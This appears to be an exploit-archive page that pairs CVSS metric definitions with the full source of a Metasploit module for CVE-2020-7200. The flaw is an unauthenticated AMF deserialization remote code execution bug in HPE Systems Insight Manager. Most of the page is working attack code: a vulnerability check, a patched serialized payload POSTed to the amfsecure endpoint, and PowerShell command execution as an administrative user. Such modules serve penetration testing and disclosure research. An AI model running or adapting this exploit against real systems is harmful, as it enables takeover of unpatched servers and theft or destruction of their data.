The vulnerable system is bound to the network stack and the set of possible attackers extends beyond the other options listed below, up to and including the entire Internet. Such a vulnerability is often termed “remotely exploitable” and can be thought of as an attack being exploitable at the protocol level one or more network hops away (e.g., across one or more routers). An example of a network attack is an attacker causing a denial of service by sending a specially crafted TCP packet across a wide area network (e.g., CVE-2004-0230).
Attack Complexity
Low
AC
The attacker must take no measurable action to exploit the vulnerability. The attack requires no target-specific circumvention to exploit the vulnerability. An attacker can expect repeatable success against the vulnerable system.
Privileges Required
High
PR
The attacker requires privileges that provide significant (e.g., administrative) control over the vulnerable system allowing full access to the vulnerable system’s settings and files.
User Interaction
None
UI
The vulnerable system can be exploited without interaction from any human user, other than the attacker. Examples include: a remote attacker is able to send packets to a target system a locally authenticated attacker executes code to elevate privileges
Scope
Unchanged
S
An exploited vulnerability can only affect resources managed by the same security authority. In the case of a vulnerability in a virtualized environment, an exploited vulnerability in one guest instance would not affect neighboring guest instances.
Confidentiality
High
C
There is total information disclosure, resulting in all data on the system being revealed to the attacker, or there is a possibility of the attacker gaining control over confidential data.
Integrity
High
I
There is a total compromise of system integrity. There is a complete loss of system protection, resulting in the attacker being able to modify any file on the target system.
Availability
High
A
There is a total shutdown of the affected resource. The attacker can deny access to the system or data, potentially causing significant loss to the organization.
Below is a copy: HPE Systems Insight Manager AMF Deserialization Remote Code Execution
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
class MetasploitModule < Msf::Exploit::Remote
Rank = ExcellentRanking
include Msf::Exploit::Remote::HttpClient
include Msf::Exploit::Powershell
prepend Msf::Exploit::Remote::AutoCheck
def initialize(info = {})
super(
update_info(
info,
'Name' => 'HPE Systems Insight Manager AMF Deserialization RCE',
'Description' => %q{
A remotely exploitable vulnerability exists within HPE System Insight Manager (SIM) version 7.6.x that can be
leveraged by a remote unauthenticated attacker to execute code within the context of HPE System Insight
Manager's hpsimsvc.exe process, which runs with administrative privileges. The vulnerability occurs due
to a failure to validate data during the deserialization process when a user submits a POST request to
the /simsearch/messagebroker/amfsecure page. This module exploits this vulnerability by leveraging an
outdated copy of Commons Collection, namely 3.2.2, that ships with HPE SIM, to gain
RCE as the administrative user running HPE SIM.
},
'Author' => [
'Harrison Neal', # Original bug finder, reported bug to ZDI
'Jang', # Aka @testanull on Twitter, editor of nightst0rm, who wrote a very detailed writeup of this bug in Vietnamese
'Grant Willcox' # Metasploit module author
],
'License' => MSF_LICENSE,
'References' => [
['CVE', '2020-7200'],
['URL', 'https://testbnull.medium.com/hpe-system-insight-manager-sim-amf-deserialization-lead-to-rce-cve-2020-7200-d49a9cf143c0'],
['URL', 'https://www.zerodayinitiative.com/advisories/ZDI-20-1449/'],
['URL', 'https://support.hpe.com/hpesc/public/docDisplay?docLocale=en_US&docId=hpesbgn04068en_us']
],
'Platform' => 'win',
'Targets' => [
[
'Windows Command',
{
'Arch' => ARCH_CMD,
'Type' => :windows_command,
'Space' => 64000
}
],
[
'Windows Powershell',
{
'Arch' => [ARCH_X64],
'Type' => :windows_powershell,
'Space' => 64000
}
]
],
'DefaultOptions' => {
'RPORT' => 50000,
'SSL' => true
},
'DefaultTarget' => 1,
'DisclosureDate' => '2020-12-15',
'Notes' =>
{
'Stability' => [CRASH_SAFE],
'SideEffects' => [IOC_IN_LOGS],
'Reliability' => [REPEATABLE_SESSION]
},
'Privileged' => true
)
)
register_options([
OptString.new('TARGETURI', [ true, 'The base path to the HPE SIM server', '/' ])
])
end
def check
res = send_request_cgi({
'method' => 'GET',
'uri' => normalize_uri(target_uri.path)
})
return CheckCode::Unknown('Failed to connect to the server.') if res.nil?
body = res.body
unless body.include?('Please insert your Smart Card and login to HPE System Insight Manager.') && body.include?('<title>HPE Systems Insight Manager</title>') && body.include?('/ui/javascript/XeHelp.js')
return CheckCode::Safe("Target doesn't appear to be a HPE System Insight Manager server!")
end
data_dir = File.join(Msf::Config.data_directory, 'exploits', shortname)
f_handle = File.open(File.join(data_dir, 'emp.ser'), 'rb')
serialized_payload_content = f_handle.read
f_handle.close
serialized_payload_content_final = payload_template_adjustments(serialized_payload_content, 'a') # NOP command of a which will allow for checking if the target is vulnerable.
res = send_request_cgi({
'method' => 'POST',
'uri' => normalize_uri(target_uri.path, 'simsearch', 'messagebroker', 'amfsecure'),
'data' => serialized_payload_content_final
})
unless res&.code == 200
return CheckCode::Safe("Non-200 HTTP response received during deserialization. Target doesn't seem to be vulnerable!")
end
unless res.to_s.include?('java.lang.NullPointerException')
return CheckCode::Safe("200 OK response didn't contain expected java.lang.NullPointerException. Target is not vulnerable!")
end
CheckCode::Vulnerable('Target returned java.lang.NullPointerException in its 200 OK response!')
end
def exploit
case target['Type']
when :windows_command
execute_command(payload.encoded.gsub(/^powershell(?:\.exe)* /, 'C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe ')) # If PowerShell is being used to run the command, specify the full path so that it will run correctly.
when :windows_powershell
execute_command(cmd_psh_payload(payload.encoded, payload.arch.first, remove_comspec: true).prepend('C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\')) # Need full path to PowerShell binary for it to run for some reason.
end
end
def payload_template_adjustments(original_content, cmd)
original_content['PAYLOAD'] = cmd
original_content[0x47A..0x47B] = [cmd.length].pack('n')
second_adjustment_length = original_content[0x3C..-1].length * 2
pack_array = []
current_number = second_adjustment_length
for count in 0...3
if current_number >> 7 == 0
break
else
if count == 2
pack_array.prepend((current_number >> 8) | 0x80)
break
else
pack_array.prepend((current_number >> 7) | 0x80)
current_number = current_number >> 7
end
count += 1
end
end
pack_array.append((second_adjustment_length & 0x7F) + 1)
original_content[0x3A..0x3B] = pack_array.pack('c*')
original_content
end
def execute_command(cmd, _opts = {})
data_dir = File.join(Msf::Config.data_directory, 'exploits', shortname)
f_handle = File.open(File.join(data_dir, 'emp.ser'), 'rb')
serialized_payload_content = f_handle.read
f_handle.close
serialized_payload_content_final = payload_template_adjustments(serialized_payload_content, cmd)
res = send_request_cgi({
'method' => 'POST',
'uri' => normalize_uri(target_uri.path, 'simsearch', 'messagebroker', 'amfsecure'),
'data' => serialized_payload_content_final
})
unless res&.code == 200
fail_with(Failure::UnexpectedReply, 'Non-200 HTTP response received while trying to execute the command')
end
unless res.to_s.include?('java.lang.NullPointerException')
fail_with(Failure::UnexpectedReply, 'Server should respond with a java.lang.NullPointerException upon successful deserialization, but no such message was received!')
end
end
end
This information is provided for TESTING and LEGAL RESEARCH purposes only. All trademarks used are properties of their respective owners. By visiting this website you agree to Terms of Use and Privacy Policy and Impressum